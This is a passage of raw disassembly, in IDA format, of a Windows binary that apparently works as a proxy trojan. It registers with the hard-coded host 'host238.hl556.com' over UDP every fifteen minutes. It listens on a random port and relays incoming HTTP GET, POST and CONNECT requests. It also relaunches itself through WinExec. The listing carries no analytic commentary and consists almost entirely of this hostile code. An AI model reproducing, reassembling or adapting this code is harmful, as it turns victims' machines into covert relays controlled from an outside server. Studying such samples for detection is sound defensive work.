[esi+7] pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_401B08: ; CODE XREF: seg001:00401B00j push 11h push 2 push 2 mov dword ptr [esi+10h], 0 call sub_403A3C ; socket test eax, eax mov [esi+8], eax jge short loc_401B2C mov eax, 3 mov [esi+0Ch], eax pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_401B2C: ; CODE XREF: seg001:00401B1Fj mov eax, [esp+10h] push edi lea edi, [esi+28h] push eax mov word ptr [edi], 2 mov dword ptr [esi+2Ch], 0 call sub_403A24 ; htons mov edx, [esi+8] push 4 lea ecx, [esp+0Ch] push ecx push 4 push 0FFFFh push edx mov [esi+2Ah], ax call sub_403A1E ; setsockopt mov eax, [esi+8] push 10h push edi push eax mov dword ptr [esp+14h], 1 call sub_403A18 ; bind test eax, eax pop edi jge short loc_401B85 mov eax, 4 mov [esi+0Ch], eax pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_401B85: ; CODE XREF: seg001:00401B78j mov edx, [esi+8] push 4 lea ecx, [esp+8] push ecx push 100h push 0FFFFh push edx mov dword ptr [esi+0Ch], 0 mov dword ptr [esp+18h], 1 call sub_403A1E ; setsockopt xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401BC0 proc near ; CODE XREF: sub_401E40+2Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_401BCE lea eax, [esi+7] pop esi retn ; --------------------------------------------------------------------------- loc_401BCE: ; CODE XREF: sub_401BC0+7j push 11h push 2 push 2 mov dword ptr [esi+10h], 0 call sub_403A3C ; socket test eax, eax mov [esi+8], eax jge short loc_401BF1 mov eax, 3 mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_401BF1: ; CODE XREF: sub_401BC0+25j push edi mov edi, [esp+8+arg_4] push edi call sub_403A06 ; inet_addr test eax, eax jz short loc_401C16 push edi call sub_403A06 ; inet_addr cmp eax, 0FFFFFFFFh jz short loc_401C16 push edi call sub_403A06 ; inet_addr mov [esi+2Ch], eax jmp short loc_401C42 ; --------------------------------------------------------------------------- loc_401C16: ; CODE XREF: sub_401BC0+3Ej ; sub_401BC0+49j push edi call sub_403A00 ; gethostbyname test eax, eax jnz short loc_401C2B mov eax, 1 pop edi mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_401C2B: ; CODE XREF: sub_401BC0+5Ej movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, [edx] push ecx push eax lea ecx, [esi+2Ch] push ecx call sub_403BE0 add esp, 0Ch loc_401C42: ; CODE XREF: sub_401BC0+54j mov edx, [esp+8+arg_8] push edx mov word ptr [esi+28h], 2 call sub_403A24 ; htons mov [esi+2Ah], ax pop edi mov dword ptr [esi+0Ch], 0 xor eax, eax pop esi retn sub_401BC0 endp ; --------------------------------------------------------------------------- align 10h push esi mov esi, [esp+0Ch] test esi, esi jnz short loc_401C7E lea eax, [esi+7] pop esi retn ; --------------------------------------------------------------------------- loc_401C7E: ; CODE XREF: seg001:00401C77j mov eax, [esp+8] push edi mov edi, [esp+14h] mov dword ptr [esi+10h], 0 mov ecx, [eax+8] push edi mov [esi+8], ecx call sub_403A06 ; inet_addr test eax, eax jz short loc_401CB4 push edi call sub_403A06 ; inet_addr cmp eax, 0FFFFFFFFh jz short loc_401CB4 push edi call sub_403A06 ; inet_addr mov [esi+2Ch], eax jmp short loc_401CE0 ; --------------------------------------------------------------------------- loc_401CB4: ; CODE XREF: seg001:00401C9Cj ; seg001:00401CA7j push edi call sub_403A00 ; gethostbyname test eax, eax jnz short loc_401CC9 mov eax, 1 pop edi mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_401CC9: ; CODE XREF: seg001:00401CBCj movsx edx, word ptr [eax+0Ah] mov eax, [eax+0Ch] mov ecx, [eax] push edx push ecx lea edx, [esi+2Ch] push edx call sub_403BE0 add esp, 0Ch loc_401CE0: ; CODE XREF: seg001:00401CB2j mov eax, [esp+18h] push eax mov word ptr [esi+28h], 2 call sub_403A24 ; htons mov [esi+2Ah], ax pop edi mov dword ptr [esi+0Ch], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] test esi, esi jnz short loc_401D0E lea eax, [esi+7] pop esi retn ; --------------------------------------------------------------------------- loc_401D0E: ; CODE XREF: seg001:00401D07j mov dword ptr [esi+10h], 0 call sub_403F8F mov ecx, [esp+10h] mov edx, [esp+0Ch] push 10h mov dword ptr [eax], 0 lea eax, [esi+28h] push eax mov eax, [esi+8] push 0 push ecx push edx push eax call sub_403A60 ; sendto test eax, eax jg short loc_401D5F call sub_403A2A ; WSAGetLastError cmp eax, 2734h jnz short loc_401D55 mov eax, 6 mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_401D55: ; CODE XREF: seg001:00401D49j mov eax, 8 mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_401D5F: ; CODE XREF: seg001:00401D3Dj mov [esi+10h], eax mov dword ptr [esi+0Ch], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- align 10h push ecx push ebx mov ebx, [esp+0Ch] test ebx, ebx mov dword ptr [esp+4], 10h jnz short loc_401D88 lea eax, [ebx+7] pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_401D88: ; CODE XREF: seg001:00401D80j push esi push edi mov dword ptr [ebx+10h], 0 call sub_403F8F mov edx, [esp+20h] mov dword ptr [eax], 0 mov eax, [esp+18h] mov edi, eax mov ecx, 0Fh mov esi, ebx rep movsd lea ecx, [esp+0Ch] push ecx mov ecx, [ebx+8] add eax, 28h push eax mov eax, [esp+24h] push 0 push edx push eax push ecx call sub_403A66 ; recvfrom test eax, eax pop edi pop esi jge short loc_401DF1 call sub_403A2A ; WSAGetLastError cmp eax, 2734h jnz short loc_401DE6 mov eax, 6 mov [ebx+0Ch], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_401DE6: ; CODE XREF: seg001:00401DD9j mov eax, 8 mov [ebx+0Ch], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_401DF1: ; CODE XREF: seg001:00401DCDj mov [ebx+10h], eax mov dword ptr [ebx+0Ch], 0 xor eax, eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] test esi, esi jnz short loc_401E0E lea eax, [esi+7] pop esi retn ; --------------------------------------------------------------------------- loc_401E0E: ; CODE XREF: seg001:00401E07j mov eax, [esi+8] push eax mov dword ptr [esi+10h], 0 call sub_403A5A ; closesocket test eax, eax jge short loc_401E2C mov eax, 8 mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- loc_401E2C: ; CODE XREF: seg001:00401E20j mov dword ptr [esi+8], 0 mov dword ptr [esi+0Ch], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_401E40 proc near ; DATA XREF: sub_402040+D7o var_140 = byte ptr -140h var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_118 = byte ptr -118h var_104 = byte ptr -104h var_4 = dword ptr -4 sub esp, 144h mov eax, dword_410440 xor eax, esp mov [esp+144h+var_4], eax push ebx push esi push edi mov edi, dword_40D0EC xor ebx, ebx nop loc_401E60: ; CODE XREF: sub_401E40+112j ; sub_401E40+126j push 800Eh lea eax, [esp+154h+var_140] push offset aHost238_hl556_ ; "host238.hl556.com" push eax call sub_401BC0 add esp, 0Ch test eax, eax jnz loc_401F5F movzx ecx, word_411E7C push ecx lea edx, [esp+154h+var_104] push offset aD ; "%d" push edx call sub_4041B4 lea eax, [esp+15Ch+var_104] add esp, 0Ch xor edx, edx lea esi, [eax+1] loc_401EA2: ; CODE XREF: sub_401E40+69j mov cl, [eax] add eax, 1 cmp cl, bl jnz short loc_401EA2 sub eax, esi jz short loc_401ED3 nop loc_401EB0: ; CODE XREF: sub_401E40+91j mov al, [esp+edx+150h+var_104] add al, al mov [esp+edx+150h+var_104], al lea eax, [esp+150h+var_104] add edx, 1 lea esi, [eax+1] loc_401EC4: ; CODE XREF: sub_401E40+8Bj mov cl, [eax] add eax, 1 cmp cl, bl jnz short loc_401EC4 sub eax, esi cmp edx, eax jb short loc_401EB0 loc_401ED3: ; CODE XREF: sub_401E40+6Dj lea eax, [esp+150h+var_104] lea edx, [eax+1] lea ebx, [ebx+0] loc_401EE0: ; CODE XREF: sub_401E40+A7j mov cl, [eax] add eax, 1 cmp cl, bl jnz short loc_401EE0 sub eax, edx mov esi, eax mov [esp+150h+var_130], ebx call sub_403F8F push 10h lea ecx, [esp+154h+var_118] push ecx push ebx push esi lea edx, [esp+160h+var_104] mov [eax], ebx mov eax, [esp+160h+var_138] push edx push eax call sub_403A60 ; sendto test eax, eax jg short loc_401F2D call sub_403A2A ; WSAGetLastError xor ecx, ecx cmp eax, 2734h setnz cl lea ecx, [ecx+ecx+6] mov [esp+150h+var_134], ecx jmp short loc_401F31 ; --------------------------------------------------------------------------- loc_401F2D: ; CODE XREF: sub_401E40+D2j mov [esp+150h+var_134], ebx loc_401F31: ; CODE XREF: sub_401E40+EBj mov edx, [esp+150h+var_138] push edx mov [esp+154h+var_130], ebx call sub_403A5A ; closesocket test eax, eax jge short loc_401F57 push 0DBBA0h mov [esp+154h+var_134], 8 call edi ; Sleep jmp loc_401E60 ; --------------------------------------------------------------------------- loc_401F57: ; CODE XREF: sub_401E40+101j mov [esp+150h+var_138], ebx mov [esp+150h+var_134], ebx loc_401F5F: ; CODE XREF: sub_401E40+39j push 0DBBA0h call edi ; Sleep jmp loc_401E60 sub_401E40 endp ; --------------------------------------------------------------------------- align 10h loc_401F70: ; CODE XREF: seg001:00402E28p sub esp, 108h mov eax, dword_410440 xor eax, esp mov [esp+104h], eax push ebx push esi push edi push 100h lea eax, [esp+10h] push eax xor ebx, ebx push ebx call dword_40D0E0 ; GetModuleFileNameA mov esi, offset dword_411EA0 lea edi, [ebx+32h] loc_401FA2: ; CODE XREF: seg001:00401FB6j cmp [esi+8], ebx jle short loc_401FB0 push esi call sub_401A80 add esp, 4 loc_401FB0: ; CODE XREF: seg001:00401FA5j add esi, 3Ch sub edi, 1 jnz short loc_401FA2 mov ecx, dword_411E48 push ecx mov dword_411E50, ebx call sub_403A5A ; closesocket test eax, eax jge short loc_401FDA mov dword_411E4C, 8 jmp short loc_402020 ; --------------------------------------------------------------------------- loc_401FDA: ; CODE XREF: seg001:00401FCCj mov eax, dword_411E5C cmp eax, ebx mov dword_411E48, ebx mov dword_411E4C, ebx jz short loc_401FFE push eax call sub_40405A add esp, 4 mov dword_411E5C, ebx loc_401FFE: ; CODE XREF: seg001:00401FEDj mov eax, dword_411E60 cmp eax, ebx jz short loc_402010 push eax call sub_40405A add esp, 4 loc_402010: ; CODE XREF: seg001:00402005j push 3Ch push ebx push offset dword_411E40 call sub_403FE0 add esp, 0Ch loc_402020: ; CODE XREF: seg001:00401FD8j push ebx lea edx, [esp+10h] push edx call dword_40D0E4 ; WinExec push ebx call sub_4044BF pop edi pop esi pop ebx ; --------------------------------------------------------------------------- db 0Bh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame fpd=1F50h sub_402040 proc near ; CODE XREF: seg001:004037EFj ; seg001:0040389Bp var_21A4 = dword ptr -21A4h var_21A0 = dword ptr -21A0h var_20A0 = dword ptr -20A0h var_209C = dword ptr -209Ch var_1F9C = byte ptr -1F9Ch var_1F98 = dword ptr -1F98h var_1F94 = dword ptr -1F94h var_1F90 = dword ptr -1F90h var_1F8C = dword ptr -1F8Ch var_1F88 = dword ptr -1F88h var_1F84 = dword ptr -1F84h var_1F80 = dword ptr -1F80h var_1F7C = dword ptr -1F7Ch var_1F78 = dword ptr -1F78h var_1F74 = dword ptr -1F74h var_1F70 = dword ptr -1F70h var_1F6C = dword ptr -1F6Ch var_1F68 = dword ptr -1F68h var_1F60 = byte ptr -1F60h var_1F58 = dword ptr -1F58h var_1F54 = dword ptr -1F54h var_1F50 = byte ptr -1F50h var_1DC0 = byte ptr -1DC0h var_DC0 = byte ptr -0DC0h var_CC1 = byte ptr -0CC1h var_CC0 = dword ptr -0CC0h var_CBC = dword ptr -0CBCh var_CB8 = byte ptr -0CB8h var_CB7 = byte ptr -0CB7h var_104 = byte ptr -104h var_4 = dword ptr -4 push ebp lea ebp, [esp-1F50h] mov eax, 1F50h call sub_4047F0 push 0FFFFFFFEh push offset dword_40E490 push offset sub_404650 mov eax, large fs:0 push eax sub esp, 244h mov eax, dword_410440 xor [ebp+1F50h+var_1F58], eax xor eax, ebp mov [ebp+1F50h+var_4], eax push ebx push esi push edi push eax lea eax, [ebp+1F50h+var_1F60] mov large fs:0, eax mov [ebp+1F50h+var_1F68], esp mov [ebp+1F50h+var_1F54], 0 lea eax, [ebp+1F50h+var_1F50] push eax push 202h call sub_403A6C ; WSAStartup push 0 call sub_4067A5 add esp, 4 mov esi, eax call dword_40D0D8 ; GetCurrentProcessId imul esi, eax push esi call sub_40461A push 3Ch push 0 push offset dword_411E40 call sub_403FE0 push 0BB8h push 0 push offset dword_411EA0 call sub_403FE0 add esp, 1Ch lea ecx, [ecx+0] loc_4020E0: ; CODE XREF: sub_402040+CDj call sub_404627 cdq mov ecx, 0FBFDh idiv ecx add edx, 401h mov word_411E7C, dx movzx edx, dx push edx push offset dword_411E40 call sub_401710 add esp, 8 test eax, eax jnz short loc_4020E0 lea eax, [ebp+1F50h+var_1F9C] push eax push 0 push 0 push offset sub_401E40 push 0 push 0 call dword_40D0DC ; CreateThread loc_402126: ; CODE XREF: sub_402040+233j xor edx, edx mov [ebp+1F50h+var_20A0], edx xor esi, esi mov [ebp+1F50h+var_21A4], esi mov eax, dword_411E48 mov [ebp+1F50h+var_209C], eax mov edi, 1 mov [ebp+1F50h+var_20A0], edi mov ebx, eax mov [ebp+1F50h+var_1F98], ebx loc_402151: ; CODE XREF: sub_402040+179j mov [ebp+1F50h+var_1F6C], edx cmp edx, 32h jnb short loc_4021BB mov eax, edx shl eax, 4 sub eax, edx add eax, eax add eax, eax mov ecx, dword_411EA8[eax] test ecx, ecx jle short loc_4021B6 cmp edi, 40h jnb short loc_402189 mov [ebp+edi*4+1F50h+var_209C], ecx mov edi, [ebp+1F50h+var_20A0] add edi, 1 mov [ebp+1F50h+var_20A0], edi loc_402189: ; CODE XREF: sub_402040+131j cmp dword_411EBC[eax], 0 jz short loc_4021AD cmp esi, 40h jnb short loc_4021AD mov [ebp+esi*4+1F50h+var_21A0], ecx mov esi, [ebp+1F50h+var_21A4] add esi, 1 mov [ebp+1F50h+var_21A4], esi loc_4021AD: ; CODE XREF: sub_402040+150j ; sub_402040+155j cmp ecx, ebx jbe short loc_4021B6 mov ebx, ecx mov [ebp+1F50h+var_1F98], ebx loc_4021B6: ; CODE XREF: sub_402040+12Cj ; sub_402040+16Fj add edx, 1 jmp short loc_402151 ; --------------------------------------------------------------------------- loc_4021BB: ; CODE XREF: sub_402040+117j xor eax, eax mov [ebp+1F50h+var_1F94], eax mov [ebp+1F50h+var_1F90], eax mov [ebp+1F50h+var_1F94], 2 mov [ebp+1F50h+var_1F90], eax lea ecx, [ebp+1F50h+var_1F94] push ecx push eax lea edx, [ebp+1F50h+var_21A4] push edx lea eax, [ebp+1F50h+var_20A0] push eax add ebx, 1 push ebx call sub_403A12 ; select push 0BB9h push 0 lea ecx, [ebp+1F50h+var_CC0] push ecx call sub_403FE0 add esp, 0Ch lea edx, [ebp+1F50h+var_20A0] push edx mov eax, dword_411E48 push eax call sub_403A0C ; __WSAFDIsSet test eax, eax jz short loc_402265 xor ebx, ebx loc_402217: ; CODE XREF: sub_402040+223j mov [ebp+1F50h+var_1F6C], ebx cmp ebx, 32h jnb short loc_402265 mov esi, ebx shl esi, 4 sub esi, ebx add esi, esi add esi, esi cmp dword_411EA8[esi], 0 jnz short loc_402260 lea edi, dword_411EA0[esi] push edi push offset dword_411E40 call sub_4017C0 add esp, 8 test eax, eax jnz short loc_402265 push eax call sub_4067A5 add esp, 4 mov dword_411EB8[esi], eax mov dword ptr [edi], 1 loc_402260: ; CODE XREF: sub_402040+1F1j add ebx, 1 jmp short loc_402217 ; --------------------------------------------------------------------------- loc_402265: ; CODE XREF: sub_402040+1D3j ; sub_402040+1DDj ... xor ebx, ebx mov [ebp+1F50h+var_1F6C], ebx lea ebx, [ebx+0] loc_402270: ; CODE XREF: sub_402040+354j ; sub_402040+3B1j ... cmp ebx, 32h jnb loc_402126 mov esi, ebx shl esi, 4 sub esi, ebx add esi, esi add esi, esi cmp dword_411EA8[esi], 0 jz loc_402E18 mov [ebp+1F50h+var_1F7C], 0 push 0 call sub_4067A5 add esp, 4 sub eax, dword_411EB8[esi] cmp eax, 1Eh jb short loc_4022D4 lea edi, dword_411EA0[esi] cmp dword ptr [edi], 3 jz short loc_4022D4 mov eax, dword_411ED8[esi] test eax, eax jz short loc_4022CB push eax call sub_401A80 add esp, 4 loc_4022CB: ; CODE XREF: sub_402040+280j push edi call sub_401A80 add esp, 4 loc_4022D4: ; CODE XREF: sub_402040+26Bj ; sub_402040+276j push 0 call sub_4067A5 add esp, 4 sub eax, dword_411EB8[esi] cmp eax, 78h jb short loc_40230B mov eax, dword_411ED8[esi] test eax, eax jz short loc_4022FC push eax call sub_401A80 add esp, 4 loc_4022FC: ; CODE XREF: sub_402040+2B1j lea ecx, dword_411EA0[esi] push ecx call sub_401A80 add esp, 4 loc_40230B: ; CODE XREF: sub_402040+2A7j cmp dword_411EBC[esi], 0 jz short loc_402341 lea edx, [ebp+1F50h+var_21A4] push edx mov eax, dword_411EA8[esi] push eax call sub_403A0C ; __WSAFDIsSet test eax, eax jz short loc_402341 push 0 push offset byte_4113C5 lea ecx, dword_411EA0[esi] push ecx call sub_401840 add esp, 0Ch loc_402341: ; CODE XREF: sub_402040+2D2j ; sub_402040+2E9j lea edi, dword_411EA0[esi] cmp dword ptr [edi], 1 jnz loc_402A4B lea edx, [ebp+1F50h+var_20A0] push edx mov eax, dword_411EA8[esi] push eax call sub_403A0C ; __WSAFDIsSet test eax, eax jz loc_402A4B push 0BB8h lea ecx, [ebp+1F50h+var_CC0] push ecx push edi call sub_401A10 add esp, 0Ch test eax, eax jz short loc_402399 push edi call sub_401A80 add esp, 4 add [ebp+1F50h+var_1F6C], 1 mov ebx, [ebp+1F50h+var_1F6C] jmp loc_402270 ; --------------------------------------------------------------------------- loc_402399: ; CODE XREF: sub_402040+342j mov al, byte ptr [ebp+1F50h+var_CC0] cmp al, 47h jz short loc_4023AB cmp al, 50h jnz loc_402667 loc_4023AB: ; CODE XREF: sub_402040+361j xor ebx, ebx mov [ebp+1F50h+var_1F84], ebx mov [ebp+1F50h+var_1F8C], ebx lea esi, [ebp+1F50h+var_CC0] loc_4023B9: ; CODE XREF: sub_402040+389j mov [ebp+1F50h+var_1F78], esi mov al, [esi] test al, al jz short loc_4023CB cmp al, 20h jz short loc_4023CB add esi, 1 jmp short loc_4023B9 ; --------------------------------------------------------------------------- loc_4023CB: ; CODE XREF: sub_402040+380j ; sub_402040+384j cmp byte ptr [esi], 20h jz short loc_4023F6 loc_4023D0: ; CODE XREF: sub_402040+598j ; sub_402040+5F4j mov eax, [ebp+1F50h+var_1F6C] mov edx, eax shl edx, 4 sub edx, eax loc_4023DA: ; CODE XREF: sub_402040+832j ; sub_402040+88Aj lea eax, ds:411EA0h[edx*4] push eax call sub_401A80 add esp, 4 add [ebp+1F50h+var_1F6C], 1 mov ebx, [ebp+1F50h+var_1F6C] jmp loc_402270 ; --------------------------------------------------------------------------- loc_4023F6: ; CODE XREF: sub_402040+38Ej add esi, 1 mov [ebp+1F50h+var_1F78], esi cmp byte ptr [esi], 0 jnz short loc_402427 loc_402401: ; CODE XREF: sub_402040+421j ; sub_402040+42Ej mov eax, [ebp+1F50h+var_1F6C] mov ecx, eax shl ecx, 4 sub ecx, eax lea edx, ds:411EA0h[ecx*4] push edx call sub_401A80 add esp, 4 add [ebp+1F50h+var_1F6C], 1 mov ebx, [ebp+1F50h+var_1F6C] jmp loc_402270 ; --------------------------------------------------------------------------- loc_402427: ; CODE XREF: sub_402040+3BFj push 7 push offset aHttp ; "http://" push esi call sub_40455C add esp, 0Ch test eax, eax jnz short loc_402441 add esi, 7 mov [ebp+1F50h+var_1F78], esi loc_402441: ; CODE XREF: sub_402040+3F9j mov edi, esi loc_402443: ; CODE XREF: sub_402040+417j mov al, [esi] test al, al jz short loc_402459 cmp al, 2Fh jz short loc_402459 cmp al, 20h jz short loc_402459 add esi, 1 mov [ebp+1F50h+var_1F78], esi jmp short loc_402443 ; --------------------------------------------------------------------------- loc_402459: ; CODE XREF: sub_402040+407j ; sub_402040+40Bj ... mov al, [esi] cmp al, 20h jz short loc_402463 cmp al, 2Fh jnz short loc_402401 loc_402463: ; CODE XREF: sub_402040+41Dj mov [ebp+1F50h+var_1F88], esi sub esi, edi cmp esi, 0FFh ja short loc_402401 push 100h push 0 lea eax, [ebp+1F50h+var_DC0] push eax call sub_403FE0 push esi push edi lea ecx, [ebp+1F50h+var_DC0] push ecx call sub_403BE0 add esp, 18h lea esi, [ebp+1F50h+var_DC0] loc_40249A: ; CODE XREF: sub_402040+46Aj mov [ebp+1F50h+var_1F78], esi mov al, [esi] test al, al jz short loc_4024AC cmp al, 3Ah jz short loc_4024AC add esi, 1 jmp short loc_40249A ; --------------------------------------------------------------------------- loc_4024AC: ; CODE XREF: sub_402040+461j ; sub_402040+465j cmp byte ptr [esi], 3Ah jnz short loc_4024C5 lea edx, [esi+1] push edx call sub_40454B add esp, 4 mov ebx, eax mov [ebp+1F50h+var_1F84], eax mov byte ptr [esi], 0 loc_4024C5: ; CODE XREF: sub_402040+46Fj test ebx, ebx jnz short loc_4024D0 mov [ebp+1F50h+var_1F84], 50h loc_4024D0: ; CODE XREF: sub_402040+487j push 1000h push 0 lea eax, [ebp+1F50h+var_1DC0] push eax call sub_403FE0 add esp, 0Ch lea edi, [ebp+1F50h+var_CC0] loc_4024EC: ; CODE XREF: sub_402040+4D8j mov [ebp+1F50h+var_1F78], edi mov dl, [edi] test dl, dl jz short loc_40251A cmp dl, 20h jz short loc_40251A lea eax, [ebp+1F50h+var_1DC0] lea esi, [eax+1] loc_402503: ; CODE XREF: sub_402040+4CAj mov cl, [eax] add eax, 1 test cl, cl jnz short loc_402503 sub eax, esi mov [ebp+eax+1F50h+var_1DC0], dl add edi, 1 jmp short loc_4024EC ; --------------------------------------------------------------------------- loc_40251A: ; CODE XREF: sub_402040+4B3j ; sub_402040+4B8j lea eax, [ebp+1F50h+var_1DC0] lea edx, [eax+1] loc_402523: ; CODE XREF: sub_402040+4EAj mov cl, [eax] add eax, 1 test cl, cl jnz short loc_402523 sub eax, edx mov [ebp+eax+1F50h+var_1DC0], 20h mov eax, [ebp+1F50h+var_1F88] mov ecx, eax jmp short loc_402540 ; --------------------------------------------------------------------------- align 10h loc_402540: ; CODE XREF: sub_402040+4FBj ; sub_402040+507j mov dl, [eax] add eax, 1 test dl, dl jnz short loc_402540 sub eax, ecx mov esi, ecx lea edi, [ebp+1F50h+var_1DC0] add edi, 0FFFFFFFFh loc_402556: ; CODE XREF: sub_402040+51Ej mov cl, [edi+1] add edi, 1 test cl, cl jnz short loc_402556 mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb xor ebx, ebx mov [ebp+1F50h+var_1F8C], ebx xor eax, eax loc_402575: ; CODE XREF: sub_402040+6A9j mov [ebp+1F50h+var_1F70], eax cmp eax, 32h jnb loc_402632 mov esi, eax shl esi, 4 sub esi, eax add esi, esi add esi, esi cmp dword_411EA8[esi], 0 jnz loc_4026E6 lea edi, dword_411EA0[esi] mov ecx, [ebp+1F50h+var_1F84] push ecx lea edx, [ebp+1F50h+var_DC0] push edx push edi call sub_4014F0 add esp, 0Ch test eax, eax jz short loc_4025DD mov eax, [ebp+1F50h+var_1F6C] mov ecx, eax shl ecx, 4 sub ecx, eax lea edx, ds:411EA0h[ecx*4] push edx call sub_401A80 add esp, 4 mov [ebp+1F50h+var_1F8C], 1 jmp loc_4023D0 ; --------------------------------------------------------------------------- loc_4025DD: ; CODE XREF: sub_402040+575j mov dword ptr [edi], 2 lea eax, [ebp+1F50h+var_1DC0] push eax call sub_403A78 mov dword_411EC0[esi], eax push 0 call sub_4067A5 mov dword_411EB4[esi], eax push 0 call sub_4067A5 add esp, 0Ch mov dword_411EB8[esi], eax mov ecx, [ebp+1F50h+var_1F6C] mov eax, ecx shl eax, 4 sub eax, ecx add eax, eax add eax, eax lea ecx, dword_411EA0[eax] mov dword_411ED8[esi], ecx mov dword_411ED8[eax], edi loc_402632: ; CODE XREF: sub_402040+53Bj test ebx, ebx jnz loc_4023D0 mov eax, [ebp+1F50h+var_1F6C] mov esi, eax shl esi, 4 sub esi, eax add esi, esi add esi, esi lea edi, dword_411EA0[esi] mov dword ptr [edi], 29Ah mov dword_411EA4[esi], 6 mov al, byte ptr [ebp+1F50h+var_CC0] mov ebx, [ebp+1F50h+var_1F6C] loc_402667: ; CODE XREF: sub_402040+365j cmp al, 43h jnz loc_402904 nop loc_402670: ; CODE XREF: sub_402040+6A4j lea eax, [ebp+1F50h+var_CC0] lea edx, [eax+1] lea esp, [esp+0] loc_402680: ; CODE XREF: sub_402040+647j mov cl, [eax] add eax, 1 test cl, cl jnz short loc_402680 sub eax, edx jz short loc_4026EE lea eax, [ebp+1F50h+var_CC0] lea edx, [eax+1] loc_402696: ; CODE XREF: sub_402040+65Dj mov cl, [eax] add eax, 1 test cl, cl jnz short loc_402696 sub eax, edx cmp [ebp+eax+1F50h+var_CC1], 0Ah jz short loc_4026C9 lea eax, [ebp+1F50h+var_CC0] lea edx, [eax+1] loc_4026B4: ; CODE XREF: sub_402040+67Bj mov cl, [eax] add eax, 1 test cl, cl jnz short loc_4026B4 sub eax, edx cmp [ebp+eax+1F50h+var_CC1], 0Dh jnz short loc_4026EE loc_4026C9: ; CODE XREF: sub_402040+669j lea eax, [ebp+1F50h+var_CC0] lea edx, [eax+1] loc_4026D2: ; CODE XREF: sub_402040+699j mov cl, [eax] add eax, 1 test cl, cl jnz short loc_4026D2 sub eax, edx mov [ebp+eax+1F50h+var_CC1], cl jmp short loc_402670 ; --------------------------------------------------------------------------- loc_4026E6: ; CODE XREF: sub_402040+553j add eax, 1 jmp loc_402575 ; --------------------------------------------------------------------------- loc_4026EE: ; CODE XREF: sub_402040+64Bj ; sub_402040+687j xor edx, edx xor edi, edi mov [ebp+1F50h+var_1F74], edi loc_4026F5: ; CODE XREF: sub_402040+747j mov [ebp+1F50h+var_1F80], edx lea eax, [ebp+1F50h+var_CC0] lea esi, [eax+1] loc_402701: ; CODE XREF: sub_402040+6C8j mov cl, [eax] add eax, 1 test cl, cl jnz short loc_402701 sub eax, esi cmp edx, eax jnb short loc_40278C cmp byte ptr [ebp+edx+1F50h+var_CC0], 20h jnz short loc_402784 mov [ebp+1F50h+var_1F74], 1 loc_402721: ; CODE XREF: sub_402040+74Ej lea ebx, [ebp+edx+1F50h+var_CC0+1] xor edx, edx xor edi, edi mov [ebp+1F50h+var_1F74], edi loc_40272F: ; CODE XREF: sub_402040+776j mov [ebp+1F50h+var_1F80], edx mov eax, ebx lea esi, [eax+1] loc_402737: ; CODE XREF: sub_402040+6FEj mov cl, [eax] add eax, 1 test cl, cl jnz short loc_402737 sub eax, esi cmp edx, eax jnb short loc_4027BB cmp byte ptr [ebx+edx], 20h jnz short loc_4027B3 mov [ebp+1F50h+var_1F74], 1 loc_402753: ; CODE XREF: sub_402040+77Dj mov byte ptr [ebx+edx], 0 xor esi, esi xor edi, edi mov [ebp+1F50h+var_1F74], edi loc_40275E: ; CODE XREF: sub_402040+7A8j mov [ebp+1F50h+var_1F80], esi mov eax, ebx lea edx, [eax+1] loc_402766: ; CODE XREF: sub_402040+72Dj mov cl, [eax] add eax, 1 test cl, cl jnz short loc_402766 sub eax, edx cmp esi, eax jnb short loc_4027ED cmp byte ptr [ebx+esi], 3Ah jnz short loc_4027E5 mov [ebp+1F50h+var_1F74], 1 jmp short loc_4027F1 ; --------------------------------------------------------------------------- loc_402784: ; CODE XREF: sub_402040+6D8j add edx, 1 jmp loc_4026F5 ; --------------------------------------------------------------------------- loc_40278C: ; CODE XREF: sub_402040+6CEj test edi, edi jnz short loc_402721 mov ecx, ebx shl ecx, 4 sub ecx, ebx lea edx, ds:411EA0h[ecx*4] push edx call sub_401A80 add esp, 4 add [ebp+1F50h+var_1F6C], 1 mov ebx, [ebp+1F50h+var_1F6C] jmp loc_402270 ; --------------------------------------------------------------------------- loc_4027B3: ; CODE XREF: sub_402040+70Aj add edx, 1 jmp loc_40272F ; --------------------------------------------------------------------------- loc_4027BB: ; CODE XREF: sub_402040+704j test edi, edi jnz short loc_402753 loc_4027BF: ; CODE XREF: sub_402040+7AFj mov eax, [ebp+1F50h+var_1F6C] mov ecx, eax shl ecx, 4 sub ecx, eax lea edx, ds:411EA0h[ecx*4] push edx call sub_401A80 add esp, 4 add [ebp+1F50h+var_1F6C], 1 mov ebx, [ebp+1F50h+var_1F6C] jmp loc_402270 ; --------------------------------------------------------------------------- loc_4027E5: ; CODE XREF: sub_402040+739j add esi, 1 jmp loc_40275E ; --------------------------------------------------------------------------- loc_4027ED: ; CODE XREF: sub_402040+733j test edi, edi jz short loc_4027BF loc_4027F1: ; CODE XREF: sub_402040+742j lea eax, [ebx+esi+1] push eax call sub_40454B add esp, 4 movzx ecx, ax mov byte ptr [ebx+esi], 0 mov 